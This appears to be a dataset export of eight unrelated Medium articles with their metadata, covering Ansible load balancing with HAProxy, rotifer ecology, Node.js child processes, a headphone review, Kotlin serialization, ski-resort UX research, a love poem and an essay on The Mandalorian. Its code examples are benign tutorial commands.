Ansible is an open-source software provisioning, configuration management, and application-deployment tool enabling infrastructure as code. It runs on many Unix-like systems and can configure both Unix-like systems as well as Microsoft Windows. It includes its own declarative language to describe system configuration. Ansible was written by Michael DeHaan and acquired by Red Hat in 2015. Ansible is agentless, temporarily connecting remotely via SSH or Windows Remote Management (allowing remote PowerShell execution) to do its tasks.
To install ansible:
$ pip3 install ansible
What is HaProxy LoadBalancer ?
HAProxy is a free, open-source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers. It is written in C and has a reputation for being fast and efficient (in terms of processor and memory usage).
Here I am using ansible roles to manage all the things easily and simply.
Ansible Roles:
Roles let you automatically load related vars_files, tasks, handlers, and other Ansible artifacts based on a known file structure. Once you group your content in roles, you can easily reuse them and share them with other users.
To create a role:
ansible-galaxy init <rolename>
I have created two roles : one for haproxy and other for webserver. You have to provide the roles path in ansible.cfg file before creating the role.
Here is a look on ansible.cfg file:
$ ansible-galaxy list
The inventory file contain all the IP’s of the target and the username and password of the target node systems.
You can check the connectivity by pinging with the targeted nodes.
$ ansible <groupname> -m ping
The content of a role is:
The content of the lbalancer/tasks/main.yml is :
And you have to install the haproxy software in your controller node to get the the haproxy.cfg file and edit this file as:
Here you have to provide the port number (8080) and by using the jinja format and using group[webserver] it automatically add all the ip’s of the ‘webserver’ group from the inventory file.
Now lets see the awsweb/tasks/main.yml file:
To play a role you have to mentioned in your playbook as:
test.yml in lbalancer role
---
- hosts: localhost
roles:
— lbalancer
- hosts: webserver
roles:
— awsweb
Both the roles (awsweb and lbalancer) , I have shared on my github account. You can see the content and share it also. Github URL:
On running the playbook:
I am using localhost as a haproxy server and other three are the webservers.
On successfully completed the playbook tasks, you can check your result on browser by searching the webpage.
http://<haproxy_server_ip>:<port_no>/<web_page>
On refreshing the page , you can see the different ip address.
That’s the way load balancer works, it distributes the traffic to all the servers equally.
Hope you enjoy reading the article.
|
https://medium.com/@yadav12122000/webserver-load-balancing-by-haproxy-using-ansible-3991e6b8de3f
|
['Lalit Yadav']
|
2020-12-08 10:15:38.283000+00:00
|
['Vimal Daga', 'Ansible', 'Haproxy', 'Right Mentor', 'Web Server']
|
Do You Share This Love for a Family of Rotifers and Why Should You Care?
|
Do You Share This Love for a Family of Rotifers and Why Should You Care? Annemarie Berukoff Sep 3, 2020·5 min read
a freshwater rotifer filtering water by flagella, hunting (Shutterstock)
The great ecosystems are like complex tapestries — a million complicated threads, interwoven, make up the whole picture. Nature can cope with small rents in the fabric; it can even, after a time, cope with major disasters like floods, fires, and earthquakes. What nature cannot cope with is the steady undermining of its fabric by the activities of man.” Gerald Durrell
I must admit I never heard of the Rotifer family, certainly never saw one, and only became acquainted through researching about Nature’s ecosystems. Suddenly, there were a host of words describing their features and functions … encystment, slime glands, statoblasts, cilia, threadlike shaft surrounded by barbs, animal jelly locomotion, or battery of nematocysts discharged for prey and defense.
And there were pictures, even photographs, of these microscopic beings looking like tiny aliens scurrying here and there or cemented to the ground, eating and reproducing with so many intricate shapes with pulsating organs, many symmetrical and some telescopic.
Then the initial fascination was compounded by science to explain their purpose and value in their environment and ecology in general and I became their biggest fan!
They are related to Protozoans who are single celled organisms who may live in solitary or colonial forms. They can either be free moving with flagella (tails), false feet or be sessile (attached). Each body is contained within a cellular wall, a nucleus and even chloroplasts for photosynthesis. They eat bacteria, algae, or other protozoa and live in all aquatic or moist environments.
Rotifers are known as Metazoans because they are multicellular with 900 to 1000 cells, who develop from embryos. Their roles are as scavengers, herbivores and deposit feeders to consume and recycle the habitat where they live in water including ponds, creeks, rivers, lakes, soil, and water films associated with moss, liverworts and lichens.
Their first cousins are primitive sponges, hydras, jelly-fish and anemones. Other cousins are the Hydrozoans who develop polyps and usually live in colonies. Other relatives are the flatworms, both freshwater and terrestrial, along with flukes, tapeworms and flatworms.
Rotifers have a unique classification, Rotifera, which means “wheel animals” with complicated feeding and locomotor organs. Their many different cylindrical or squat bodies are covered with transparent elastic skin containing a mouth, pharynx, salivary gland, stomach, reproductive organs and anus and sometimes a foot or spur with two pointed toes on the bottom. Most distinctively, they sport a ciliated crown or corona, a sweeping vibrating rim of cilia (hair) that creates currents to catch minute organic particles into their mouth. They may also be carnivorous, feeding on protozoans or other metazoans.
Talk about their families being an unique matriarchal society. Some species consist only of females that produce their daughters from unfertilized eggs. The smaller males, without any alimentary canals, survive long enough to produce sperm that fertilize some eggs which then form resistant zygotes that can survive if the local water supply should dry up. Several kinds of eggs with intricate designs are produced which are laid on algae or carried about attached to their bodies. Some eggs are developed inside the females’ bodies and the young are born well-developed.
A few rotifers can encyst themselves inside a thick protective skin into a dormant desiccated state and when placed in water, can rapidly absorb water to swell up and resume their former rotifer shapes. In fact, some scientists refer to them as “time travelers,” because as a cyst they can survive for decades without any signs of aging. Imagine if we had such power of reincarnation.
Most importantly, rotifers are highly reproductive and play a critical role in the microbial or nutrient loop within freshwater lakes and rivers, being a major food source and contributing to the decomposition of soil organic matter. A typical food web might start with a large fish eating a smaller fish eating an insect eating a rotifer eating a protozoa eating bacteria. If rotifers were suffering contamination and loss, the entire food chain would eventually collapse. In fact, rotifers are good indicators of water quality and dissolved oxygen content and more scientific studies are looking at their effects on environmental restoration.
The most important lesson of all is that microbial communities are not haphazard aggregations of species thrown together by nature but rather structured communities with numerous interlocking cause and effect connections. Their sensitivity is the first to react to any changes and must be respected.
But I’m not a scientist given to writing about technical studies; I’m a teacher and eco-fiction writer who wants to materialize ecology as a tangible force within which we can walk and talk even if fictional. How can I bring such an amazing, fantastic, important ecological character to life?
Imagine living in a fresh-water pond as she moves about describing her lifestyle, family members, nursery, friends, food supply and even enemies. She talks about the power of her cysts, her feelings toward the essence of water that nourishes and protects her in a loving way. Then comes the news of a chemical processing plant to be built on the shoreline and the specter of pollution rises its ugly reflection sinking to bottom depths. Then what happens when her fears are realized and a horde of pollutant scavengers invade her home like leeches, rat-tailed maggots, sludge worms, tubifexes, blood worm midges and mosquito larvae who are best adapted to oxygen starved water.
Who best to describe this disaster except a rotifer who lives there? How can this tiny, vulnerable, vital being make a connection to the world of humankinds?
I hope you have learned a few facts about the Rotifer family and consider them your worthwhile acquaintances, too. When you eat a piece of fish or anything else that comes from nature, be grateful for these tiny organisms near the bottom of the food chain.
Someday, I would be thrilled to see an a real rotifer under a microscope sweeping across the glass, but until then, my admiration and imagination will have to suffice.
Comments are always welcome. Call to set a time to talk: 833 471 4661
Annemarie Berukoff
HelpfulMindstreamforChanges.com
Now it’s the rotifers’ turn, and again my heart-mind is into unbelievable observation …. Great Sweeping Coronas! In their usual manner, the rotifers all turn upside down to stand on their heads, wave their hair rapidly, and break up the remaining jelly mass into little bits and pieces which are then sucked into the open spaces at the top of their heads. Well, I must admit, that seeing a mass of beings standing upside down and waving their hair while eating through a hole on top of their heads is one of the strangest sights I will probably ever see, according to Nature’s plan.
Excerpt: The Incredible Journey of a Water Sprite with Roots …on his mission to discover Earth’s Cyclical Truths.
Check Index
|
https://medium.com/@annemarie3steps/do-you-share-this-love-for-a-family-of-rotifers-and-why-should-you-care-ce9eca8b9fd9
|
['Annemarie Berukoff']
|
2020-11-25 19:53:28.119000+00:00
|
['Environment', 'Nature Writing', 'Ecology', 'Sustainability', 'Awareness']
|
Node.js Child Processes: Everything you need to know
|
Single-threaded, non-blocking performance in Node.js works great for a single process. But eventually, one process in one CPU is not going to be enough to handle the increasing workload of your application.
No matter how powerful your server may be, a single thread can only support a limited load.
The fact that Node.js runs in a single thread does not mean that we can’t take advantage of multiple processes and, of course, multiple machines as well.
Using multiple processes is the best way to scale a Node application. Node.js is designed for building distributed applications with many nodes. This is why it’s named Node. Scalability is baked into the platform and it’s not something you start thinking about later in the lifetime of an application.
This article is a write-up of part of my Pluralsight course about Node.js. I cover similar content in video format there.
Please note that you’ll need a good understanding of Node.js events and streams before you read this article. If you haven’t already, I recommend that you read these two other articles before you read this one:
The Child Processes Module
We can easily spin a child process using Node’s child_process module and those child processes can easily communicate with each other with a messaging system.
The child_process module enables us to access Operating System functionalities by running any system command inside a, well, child process.
We can control that child process input stream, and listen to its output stream. We can also control the arguments to be passed to the underlying OS command, and we can do whatever we want with that command’s output. We can, for example, pipe the output of one command as the input to another (just like we do in Linux) as all inputs and outputs of these commands can be presented to us using Node.js streams.
Note that examples I’ll be using in this article are all Linux-based. On Windows, you need to switch the commands I use with their Windows alternatives.
There are four different ways to create a child process in Node: spawn() , fork() , exec() , and execFile() .
We’re going to see the differences between these four functions and when to use each.
Spawned Child Processes
The spawn function launches a command in a new process and we can use it to pass that command any arguments. For example, here’s code to spawn a new process that will execute the pwd command.
const { spawn } = require('child_process'); const child = spawn('pwd');
We simply destructure the spawn function out of the child_process module and execute it with the OS command as the first argument.
The result of executing the spawn function (the child object above) is a ChildProcess instance, which implements the EventEmitter API. This means we can register handlers for events on this child object directly. For example, we can do something when the child process exits by registering a handler for the exit event:
child.on('exit', function (code, signal) {
console.log('child process exited with ' +
`code ${code} and signal ${signal}`);
});
The handler above gives us the exit code for the child process and the signal , if any, that was used to terminate the child process. This signal variable is null when the child process exits normally.
The other events that we can register handlers for with the ChildProcess instances are disconnect , error , close , and message .
The disconnect event is emitted when the parent process manually calls the child.disconnect function.
event is emitted when the parent process manually calls the function. The error event is emitted if the process could not be spawned or killed.
event is emitted if the process could not be spawned or killed. The close event is emitted when the stdio streams of a child process get closed.
event is emitted when the streams of a child process get closed. The message event is the most important one. It’s emitted when the child process uses the process.send() function to send messages. This is how parent/child processes can communicate with each other. We’ll see an example of this below.
Every child process also gets the three standard stdio streams, which we can access using child.stdin , child.stdout , and child.stderr .
When those streams get closed, the child process that was using them will emit the close event. This close event is different than the exit event because multiple child processes might share the same stdio streams and so one child process exiting does not mean that the streams got closed.
Since all streams are event emitters, we can listen to different events on those stdio streams that are attached to every child process. Unlike in a normal process though, in a child process, the stdout / stderr streams are readable streams while the stdin stream is a writable one. This is basically the inverse of those types as found in a main process. The events we can use for those streams are the standard ones. Most importantly, on the readable streams, we can listen to the data event, which will have the output of the command or any error encountered while executing the command:
child.stdout.on('data', (data) => {
console.log(`child stdout:
${data}`);
});
child.stderr.on('data', (data) => {
console.error(`child stderr:
${data}`);
});
The two handlers above will log both cases to the main process stdout and stderr . When we execute the spawn function above, the output of the pwd command gets printed and the child process exits with code 0 , which means no error occurred.
We can pass arguments to the command that’s executed by the spawn function using the second argument of the spawn function, which is an array of all the arguments to be passed to the command. For example, to execute the find command on the current directory with a -type f argument (to list files only), we can do:
const child = spawn('find', ['.', '-type', 'f']);
If an error occurs during the execution of the command, for example, if we give find an invalid destination above, the child.stderr data event handler will be triggered and the exit event handler will report an exit code of 1 , which signifies that an error has occurred. The error values actually depend on the host OS and the type of error.
A child process stdin is a writable stream. We can use it to send a command some input. Just like any writable stream, the easiest way to consume it is using the pipe function. We simply pipe a readable stream into a writable stream. Since the main process stdin is a readable stream, we can pipe that into a child process stdin stream. For example:
const { spawn } = require('child_process');
const child = spawn('wc');
process.stdin.pipe(child.stdin)
child.stdout.on('data', (data) => {
console.log(`child stdout:
${data}`);
});
|
https://medium.com/edge-coders/node-js-child-processes-everything-you-need-to-know-e69498fe970a
|
['Samer Buna']
|
2019-02-25 19:31:01.381000+00:00
|
['Programming', 'JavaScript', 'Software Development', 'Web Development', 'Nodejs']
|
Wyze Noise-Cancelling Headphones review: Startlingly affordable
|
When you really want to zone out, leave humanity or your environment behind, you need active noise-cancelling headphones. Few headsets cancel noise better than these Wyze Headphones, which are also one of the most comfortable headsets I’ve worn.
You do pay a slight sonic price for this trick, but that simply means the sound goes from very good to merely good. The kicker: These phones cost just $50. Until I looked up the price at the end of my evaluation, I was thinking $150.
This review is part of TechHive’s coverage of the best headphones, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.Design and featuresThe Wyze headphones I tested come in basic black, sport low-latency/low-power Bluetooth 5.0, and as I said, are among the most comfy I’ve tested. The ear cup pads are extremely plush, and my ears never came close to making contact with the speaker grills. The adjustable headband is firm, but not too tight, and the cushion for the top of your head is as comfortable as the cup pads.
Wyse The Wyze headphone controls are easy to reach and relatively easy to use. That said, after the joystick control on the Marshall Major IV, all headphone button arrangements seem primitive by comparison.
The one area where I’m now going to be critical of all headphones is controls. The controls on the Wyze (noise-cancellation button on the left, power/up/down/enter on the right) are as well placed as any I’ve experienced, but after the joystick on the Marshall Major IV, everything else seems dated. That’s not a knock on Wyze, just a plea for all vendors to adopt a superior design.
[ Further reading: The best high-res digital audio players ] Mentioned in this article Marshall Major IV Read TechHive's reviewSee it The left cup is home to the 3.5mm input jack, and the right cup houses the USB-C charging port. The outside of the right cup is also used as a touch surface to control your voice assistant. Wyze includes both audio and charging cables, as well as a simple carry bag. There’s no 1/4-inch adapter or airline adapter included.
Wyse Wyse’s headphones come in a carrying bag with a USB-C charging cable and a 3.5mm male-to-male cable for wired use.
I’d like to compliment Wyze on its quickstart guide, which is succinct, but thorough and far easier to read than some of the tiny booklets other vendors provide. Kudos as well for all-paper/cardboard packaging and no shrink wrapping. You can easily recycle everything but the phones themselves. (Although that’s also possible in most locales, if you take the trouble.)
There is of course an app that allows EQ’ing the unit and choosing the level of ambient noise reduction.
Performance (noise abatement and sound)There’s no arguing the efficacy of the Wyze ambient nose reduction. As these are over-ear headphones, they block a lot of noise without an electronic assist. With active noise cancellation (adding a phase-opposite signal to the audio) enabled, they become very, very quiet. If I were on an airplane, they’re definitely one of the sets I’d consider bringing along.
Mentioned in this article Sony WH-XB900N Extra Bass, wireless noise-canceling headphones Read TechHive's reviewMSRP $248.00See it On the other hand, activating noise cancellation slightly alters frequency response. The Wyze headphones sound very good without cancellation enabled, and merely good with it on. That’s the nature of the cancellation beast, but I will say I hear ever so slightly less difference in sonics between the two modes with my Sony WH-XB900H headset. Picayune.
IDG The Wyze Headphone app with noise-reduction settings and EQ.
Sans said noise cancellation, the bass was spot-on, round and punchy without sounding like a subwoofer. Unless of course, you’re a subwoofer fiend. (Is that still a thing?) Separation? They’re headphones. It’s perfect. The mid-range is clean and accurate, though I’d opt for just a tad more in the upper regions. There are just enough highs for my taste, though I wouldn’t say no to a pinch more. Younger ears will wonder what I’m going on about.
My above comments are on the default settings. The EQ seemed to work well with cuts and gain with the bass, but I didn’t notice huge gains in the mids or highs no matter how many dB I boosted. The sound doesn’t need much tweaking anyway, so no biggie.
Run time was very good, but I didn’t quite make the 20 hours Wyze claims. I saw around 16, but then I left them (off-ear) playing at a relatively high volume.
Overall, I’d have no problem using these headphones as my daily drivers if I wasn’t currently stuck on, yes the Marshall Major IV’s. But those don’t do noise cancellation, so I’ll take the Wyze on the plane, and they’re also in my listen-to-recording-mixdowns brigade.
ConclusionAs I’ve said several times now, the Wyze headphones are super comfortable and do a stellar job of shutting off the sound from the outside world. They sound good if not great in that mode, and very good when not cancelling noise. Head to head, I’d give a slight nod to the aforementioned WH-XB900n’s in terms of sound. Then again, the Sony’s are four times the price. $50. With an app. Sheesh. Buy ‘em.
User warning: For goodness sake, don’t use noise-cancelling/blocking headphones that don’t provide the option to pipe in ambient sound in any situation where missing an audio clue could cost you your life. Jogging, strolling downtown, riding your bike? No. Watching TV, listening to tunes at home? Okay.
Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details.
|
https://medium.com/@erin09220369/wyze-noise-cancelling-headphones-review-startlingly-affordable-e79c9bcdd423
|
[]
|
2020-12-24 01:02:35.928000+00:00
|
['Chargers']
|
Kotlinx Serialization
|
Setting up your project to use the plugin is quiet simple, but I will include a complete setup for both android projects as well as multiplatform projects. But feel free to check out the Kotlinx.Serializer repo for instructions on this and more.
One small hiccup on the multiplatform serialisation setup is the need to add this dependency under the native dependecy section of your gradle script.
implementation org.jetbrains.kotlinx:kotlinx-serialization-runtime-native:0.9.1
SETUP GRADLE EXAMPLE
For multiplatform:
For Android:
Serialization
Serializing is done quite easily, for one you would need to annotate the intended class with the @Serializable annotation as below:
Note: This can as well work with data classes .
Now to actually use this in action let’s take an example of how to convert a JSON to object and back
The ease and simplicity which the kotlinx serializer helps us to convert objects in a clean way is absolutely amazing.
Two more annotations to note are transient and optional. Using transient will have the serializer ignore that field and using optional will allow the serializer not to break if a field is missing, but at the same time a default value will need to be provided.
Android Use Case for Retrofit
For those who would like to as well use this library in android, Retrofit 2 has an adapter for converting JSON responses to objects. The adapter can be found here. Some Sample code of adding the adapter
Assuming your class already has the required annotations, after making a request this should serialise your class into the required object.
All in all, the kotlin serializer is a wonderful addition to any project and makes serialization a painless process when you want to save objects as a string or parse them into other data structures. Here is a sample repo for the android setup with a small(non-architectural) working example:
Here is the official Serializer repo and as well the retrofit adapter
|
https://proandroiddev.com/kotlinx-serialization-83815cc1c57b
|
['Egbai Smile Mmumene']
|
2019-01-12 13:12:19.139000+00:00
|
['Kotlin Native', 'Android', 'Kotlin', 'AndroidDev', 'Json']
|
Spiritual Uber Rides & Why You Should Start Chasing Joy
|
Image by Rachel M. Peck
I’ve spent 80% of my life up to this point saving joy for later. I vacuum sealed it, with ideas like “work hard, play later” and by putting my head down to just “power through.” I tried freezing it by slowing down time and “savoring” it when the tiniest bit came my way. But if there’s anything I’ve learned, it’s that joy isn’t something you keep or hold. Joy isn’t a possession to be carefully tucked away. It’s meant to be embodied, marveled at and chased.
What’s the Expiration Date on This Stuff Anyway?
For the longest time I saw joy as an endangered resource that could run out. I cherished it when it came by reading my favorite books slower, waiting for special occasions to use my new gifts from Christmas, and taking small bites of my favorite chocolate bar (ok, maybe not that small). When exciting projects came up, I’d wait until “the right time” to work on them, when I felt special enough or fully in my flow. I’d convinced myself I was giving joy the respect it deserved but all I was doing was hiding it and missing the point entirely.
Joy isn’t some mystical prophet; it never asked to be worshipped or for me to stop my life entirely to curtsy to its arrival. It wanted to be a part of my life all along — to let its hair down and party with me, to start projects before I was ready, to be imperfect with me, to accelerate everything that was exciting and race towards it with reckless abandon.
Your Uber Is Here and it Sucks
But joy is so much more than a good time. It’s an alignment master. It too knows our purpose and how we are supposed to succeed and help the world. It’s the vehicle that has arrived to take us to the party and it’s one slick ride. But we’ve become so practical that now we’re calling smelly, sketchy Ubers and expecting to arrive to our purpose party in the same amount of time. Good luck getting that rickety orange Toyota Camry past spiritual security…
We are all given certain wants, desires, and joy-bringers for a reason. It’s not a coincidence, so stop acting like it is and taking the hard road. Jumping into joy fully with both feet is the best way for you to help the world. Just think of how you feel when you do the things you love — you have more energy, you wake up ready for the day, you breathe more and sigh less, you have less spiritual road rage on your way. Denying yourself the things that bring you joy is a surefire way to burn out and not serving anyone (and — just taking a stab in the dark here — is probably something you’ve experienced more than once in your life). Cue the insomnia, depression, sickness, and angry outbursts at work or with your partner.
Save The Best for First
We’ve all been taught to save the best for last. Screw that! The path to your purpose doesn’t have to be hard to be relevant. We don’t have to be frugal with joy or save it for later. It’s not a resource that runs out. It can be infinite and we have the ability to create more of it. Read the book. Take the tags off the dress. Start the project before you’re ready. Eat the whole damn chocolate bar at once. Sprint towards joy with everything you’ve got and it will give you more.
|
https://medium.com/@jessicalyda/spiritual-uber-rides-why-you-should-start-chasing-joy-2d2616eeeeb0
|
['Jessica Lyda']
|
2020-01-14 12:16:20.344000+00:00
|
['Healing', 'Spirituality', 'Joy', 'Positivity', 'Wellness']
|
Lovely Talk
|
Lovely Talk
A poem about true love
Photo by Harli Marten on Unsplash
He listens well, this one,
To everything that I say.
Which he knows real well is pointless,
In rapid succession, fired his way.
Rocket-ships in his orbit,
My words fueled by love for him.
He listens well, every time.
Though what I say is pretty dim.
He smiles at every sentence,
When he laughs, it grows ten times wide.
So overwhelming I barely notice,
When he inches closer to my side.
Because, to me, I’m already embedded,
Down deep within his heart.
But suddenly I’m also there in his arms,
Man, this is my favorite part.
These solid soft limbs encompassing,
And now I can’t talk at all,
Because his mouth is pressed so firmly on mine,
If I hadn’t already — I’d fall.
|
https://medium.com/illumination/lovely-talk-8bcec3a7d2ce
|
['Emily Wilcox']
|
2020-12-14 03:01:34.780000+00:00
|
['Poetry On Medium', 'Poetry', 'Poem', 'Love', 'Writing']
|
Importance of the first pistol round, A story from VCT:Berlin
|
Pistol rounds in VALORANT are similar to salad in a full course dinner; some may dislike it or believe it is unnecessary, yet it is vital and gets the ball rolling on the server. The pistol rounds establish the president for the match and, more crucially, present a picture of the economy for the teams that is to come in the following rounds.
There are always two pistol rounds in any game of VALORANT, one for each half. That begs the question: what distinguishes the first pistol round from the second? What strategies do teams use to address each of them? Is the second one approached any differently than the first?
I won’t go through the fixed starts for each side or which pistol is best for winning your pistol rounds; instead, I’ll try to shed some light on which of the two pistol rounds is more essential for winning the game, and if so, by how much. The data I will be using for the article will be from VCT Masters: Berlin which was held in September of 2021. So, let’s get started.
venn diagram of the two pistol rounds.
So, we can see right away that there was a total of 66 maps played throughout VCT: Berlin, which translates to a total of 132 pistol rounds played in the entirety of the tournament. From the above Venn diagram, we can see that there were 17 instances were the team that won the first pistol round (Pistol 1) ended up winning the map while there were 14 instances were the team that only won the second pistol round (Pistol 2) ended up taking the map home.
Meanwhile, there were a total of 29 cases where the team that won both pistols ended up winning that particular map, which is understandable given that anyone with even a basic understanding of VALORANT’s economy system can see why that number is so high.
pistol round win cases to map wins
However, those six occasions in which the team lost both pistol rounds but still won the game are not included in the Venn diagram. Such occurrences are uncommon, but there is something unusual about these six cases, which we need to address.
The icebox anomaly
Among those six double pistols round losses to map wins that occurred all though VCT: Berlin, FOUR of them were on the map Icebox:
1. Crazy Racoons vs Gambit Esports (W)
2. Gambit Esports vs 100T(W)
3. Vision Strikers vs Gambit Esports (W)
4. Vivo Keyd vs Team Envy (W)
Icebox is known for being a particularly attacker-friendly map, with a 61 percent win percentage for the attack side in the competition and saw some incredible comebacks on his very particular map all through the tournament. Perhaps it has something to do with the map’s layout, which has a plethora of issues in my opinion, or perhaps it was just a coincidence, but it’s definitely worth noting.
Returning to our original question, which pistol round is more crucial? To answer this question, we’ll go back to our original classification of pistol rounds in the previous graph.
· Won Pistol 1 but lost Pistol 2 and won the map (26%)
· Lost Pistol 1 but won Pistol 2 and won the map (21%)
· Won both Pistol 1 and Pistol 2 and won the map (44%)
· Lost both Pistols but won the match (9%)
|
https://medium.com/@_SushantJha/importance-of-the-first-pistol-round-a-story-from-vct-berlin-c5935b34f138
|
[]
|
2021-11-22 14:30:02.526000+00:00
|
['Gaming', 'Data Analysis', 'Valorant', 'Esports', 'Riot Games']
|
Leveraging User Research to Improve the Skiing Experience
|
UX research and design is all about understanding and improving the meaning and value of an individual’s experience. Digital products may come to mind, but pretty much any product, interaction or place can benefit from good user experience design. If, like me, you’re excited to head to the ski resorts this winter (and praying they stay open), you might be greeted by a friendly lift attendant, reassured by a supportive ski instructor, or perhaps a bit confused by the complex trail maps — your only safeguard to making sure you don’t end up on a terrifying ‘black’ run. It’s not always possible to ski with a guide to provide us the ultimate skiing experience, but why can’t we apply user-centred design methods to a day on the slopes to find new ways to delight?
As part of a recent assignment with Springboard, I was tasked with designing a product that could enhance the user experience of any situation of my choosing. It being July, and missing the snow, I chose to research the ski resort experience. Also, being a ski instructor who already wants to know every detail of an individual’s experience on the snow and how to make it better, it added a new dimension to what the “ski resort experience” really means. I challenged myself to forget my bias’ and go in blind, so frankly, I had no idea what this “product” could be, given most people don’t bother using their phones while they’re shredding the slopes (or do they??).
Your friendly ski instructor, yours truly
To begin with, I needed to gather some research. I reached out to skiers across the world — it didn’t matter if they were off-piste junkies or cautious ‘blue’ cruisers — as long as they frequented ski resorts I wanted to hear from them. It being the middle of the pandemic meant I conducted solely remote user research interviews, using Zoom to connect with skiers in Europe, New Zealand and Canada to talk about skiing — what they love (it varied HUGELY), what they hate (and they all hate the same thing…), and why.
|
https://medium.com/@lydiajlbrian/leveraging-user-research-to-improve-the-skiing-experience-2ea2116a2e47
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['Lydia Brian']
|
2020-12-10 06:00:00.223000+00:00
|
['User Research', 'Skiing', 'UX Design', 'User Research Resources', 'UX Research']
|
God’s Love
|
God’s Love
I entered the strong solid wood doors.
Inside was the quaint Saint Sebastian’s Chapel.
The amber lighting rays were glowing around
the cosmic cross — suspended over the middle of the altar.
The beautiful display was of Saints
seeping with auras of healing.
The waxed candles were flickering and cascading
there — specks of light throughout the Chapel walls.
The air was filled with glistening pure energy
with the diversity of people in oneness.
The laying of hands haloed my crown.
This electrifying heat entered my body.
I succumbed to it, and it knocked me down.
It was a inrush of cleansing heat
as it washed me up and down eternally.
The Spirit esteemed my worthiness by outpouring
the chalice of holiness in me and affirming to me
we all worthy of all the goodness of all there is,
in the moment we believe.
|
https://medium.com/spiritual-tree/gods-love-d0acfde19873
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['Bernadette Decarlo']
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2020-12-23 12:08:18.448000+00:00
|
['Nonfiction', 'God', 'Worship', 'Oneness', 'Spirituality']
|
Why the Season 2 finale of “The Mandalorian” matters to so many of us
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By Kent R. Kroeger (December 27, 2020)
________________________________
“As in the case of many great films, maybe all of them, we don’t keep going back for the plot.” — Martin Scorsese
“I don’t care about the subject matter; I don’t care about the acting; but I do care about the pieces of film and the photography and the soundtrack and all of the technical ingredients that made the audience scream. I feel it’s tremendously satisfying for us to be able to use the cinematic art to achieve something of a mass emotion.” — Alfred Hitchcock
________________________________
After over 55-plus years, I can count on two hands and a couple of toes the number of times I’ve cried watching a movie or TV program.
I cried when Mary Tyler Moore turned off that lights at WJM-TV.
I cried when Radar O’Reilly announced Colonel Henry Blake’s death.
I cried when the U.S. Olympic hockey team beat the Soviets in 1980.
I cried when Howard Cosell told us that John Lennon had been killed.
I cried when ET said goodbye to Elliot.
I cried when the Berlin Wall came down in 1989.
I cried when baby Jessica was pulled from a 22-foot well.
I cried when Mandy Moore’s character dies at the end of “A Walk to Remember.”
I cried when Harry Potter and his wife sent their son off to Hogwarts.
I cried when Barack Obama became our 44th president.
I cried when the 33 Chilean miners were rescued.
I cried when the Chicago Cubs won the 2016 World Series.
But I can’t remember crying harder than while watching this season’s final episode of Disney’s “The Mandalorian,” when Luke Skywalker rescues Grogu (more popularly known as ‘Baby Yoda’) from the Empire’s indefatigable, post-Return of the Jedi remnants.
Since its December 18th release on Disney+, YouTube has been flooded with “reaction” videos of Star Wars fans as they watched a CGI-version of a young Luke Skywalker (Mark Hamill) remove his hood before Grogu’s caretaker, Din Djarin (a.k.a., The Mandalorian), and offers to train Grogu in the ways of The Force.
The “reaction” videos range from the highly-staged to the very charming and personal — all are illustrative of the deep affection so many people have for the original Star Wars characters, particularly Luke Skywalker.
For me, however, it is hard to detach from this emotional, collective experience the knowledge that it never would have happened if Lucasfilm (i.e., Disney), under the leadership of Kathleen Kennedy, hadn’t completely botched the Disney sequel movies, starting with “The Force Awakens,” director J. J. Abrams’ visually stunning but soulless attempt at creating a new Star Wars myth, followed by “The Last Jedi,” director Rian Johnson’s inexplicable platform for pissing on the original Star Wars mythos, and ending with “The Rise of Skywalker,” J.J. Abrams’ failed attempt to undo Johnson’s irreparable damage (along with the desecration Abrams himself laid upon the Star Wars brand with “The Force Awakens”).
Though opinions vary among Star Wars fans as to the extent Disney has alienated its core Star Wars audience, almost all agree that Disney’s most unforgivable sin was disrespecting the character of Luke Skywalker, who had been defined during George Lucas’ original Star Wars trilogy as an incurable optimist with an unbreakable loyalty to his family and friends (Princess Leia Organa and Han Solo).
We cried at Season 2’s end of the “The Mandalorian,” not just for the beauty of the moment, but also because of the depth of Disney and Lucasfilm’s betrayal.
Actor Mark Hamill, himself, as he promoted (!) “The Last Jedi,” perfectly described the cultural vandalism perpetrated by Kennedy, Abrams and Johnson on Luke Skywalker:
“I said to Rian (Johnson), Jedis don’t give up. I mean, even if he had a problem he would maybe take a year to try and regroup, but if he made a mistake he would try and right that wrong. So, right there we had a fundamental difference, but it’s not my story anymore, it’s somebody else’s story and Rian needed me to be a certain way to make the ending effective…This is the next generation of Star Wars, so I almost had to think of Luke as another character — maybe he’s ‘Jake Skywalker.’ He’s not my Luke Skywalker.”
That is not exactly what Johnson wanted to hear from one of his “Last Jedi” actors just as the movie was being released. But Hamill’s words spoke for many long time Star Wars fans.
In fact, many of us believe Disney and Lucasfilm’s Kennedy, with ruthless premeditation, intended to use the Disney sequel movies to malign Lucas’ Star Wars characters (with the exception of Princess Leia) in favor of the Disney-ordained Star Wars cast: Rey Palpatine, Kylo Ren (Ben Solo), Poe Dameron, and Finn.
I’m fairly confident in this prediction: Nobody 10, 20 or 30 years from now is going to care about Rey, Kylo, Poe and Finn. But I’m 99 percent sure we’ll still be talking about Luke Skywalker, if only in recalling how Disney f**ked up one of the most iconic heroes in movies history. Rey inspires no one — including young girls, who apparently were Lucasfilm’s targeted demo with the Disney sequel movies.
Had Disney trusted their own market research, they would have known the only reliable target was the tens of millions of original Star Wars fans (and their children and grandchildren), whose loyalty to Star Wars was proven when they still showed up at theaters for Disney’s three sequel movies, even after their devotion was insulted with the unnecessary diminution of the once dashing and heroic Han Solo (Harrison Ford) and, of course, Luke.
Had Disney treated their core audience with respect, Star Wars fans now might be anticipating Rey’s next cinematic adventure, instead of drowning themselves in the bittersweet giddiness of Luke’s triumphant return on “The Mandalorian.”
To be sure, a lot of Star Wars fans want to put Luke’s return in its proper perspective. We still have to accept that — under the Disney story line — Luke is destined to slump off to a remote island, drinking titty-milk from the teet of a giant alien sea cow while whining that he couldn’t stop his nephew from killing off Luke’s young Jedi pupils (including presumably Grogu).
Despite the joyousness of Luke on “The Mandalorian,” the dark cloud of Abrams and Johnson’s bad storytelling skills still looms large.
But even the biggest Disney critics are allowing themselves to enjoy what Jon Favreau and David Filoni — the creative team behind “The Mandalorian” — are doing for the fans.
